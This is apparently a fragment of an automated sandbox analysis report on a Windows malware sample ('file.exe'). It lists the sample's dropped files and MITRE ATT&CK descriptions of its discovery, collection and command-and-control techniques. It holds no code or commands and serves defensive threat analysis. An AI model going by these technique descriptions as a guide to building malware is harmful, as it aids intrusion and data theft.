JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA4D7.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA68E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA6EC.tmp.xml

C:\ProgramData\chrome.dll

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\LY9L8IB5BIZFUZH5SXM3A25NO.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre